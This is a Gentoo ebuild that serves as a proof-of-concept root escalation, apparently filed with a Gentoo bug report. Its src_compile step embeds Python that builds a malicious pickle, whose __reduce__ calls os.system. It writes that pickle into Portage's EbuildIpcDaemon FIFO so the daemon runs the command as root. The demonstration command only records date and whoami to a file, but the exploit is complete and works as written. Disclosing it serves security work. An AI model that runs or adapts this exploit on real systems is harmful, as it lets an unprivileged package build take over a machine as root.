# Copyright 2026 Kerin Millar <kfm@plushkava.net>
# Distributed under the terms of the CC-BY-4.0 license

EAPI=8

DESCRIPTION="Root escalation PoC via EbuildIpcDaemon pickle"
HOMEPAGE="https://bugs.gentoo.org/978478"

LICENSE=""
SLOT="0"
KEYWORDS=""

S="${WORKDIR}"

src_compile() {
	local path i

	einfo "EUID=${EUID} SANDBOX_ON=${SANDBOX_ON:-0} PORTAGE_IPC_DAEMON=${PORTAGE_IPC_DAEMON:-0}"

	path="/ipc-pickle-poc-proof.txt"

	python3 - "${path}" <<'PYEOF'
import os
import pickle
import shlex
import sys

p = shlex.quote(sys.argv[1])
cmd = f"( date; whoami ) >>{p} 2>&1"

class Exploit:
    def __reduce__(self):
        return (os.system, (cmd,))

eroot = os.environ.get("EROOT") or os.environ.get("ROOT") or "/"
payload = ("has_version", eroot, "=app-portage/ipc-pickle-poc-0", Exploit())

fifo = os.path.join(os.environ["PORTAGE_BUILDDIR"], ".ipc", "in")
with open(fifo, "wb") as f:
    f.write(pickle.dumps(payload))
PYEOF

	for (( i = 0; i < 50; i++ )); do
		[[ -f ${path} ]] && break
		sleep 0.1
		false
	done \
	&& tail -v -c +1 "${path}"
}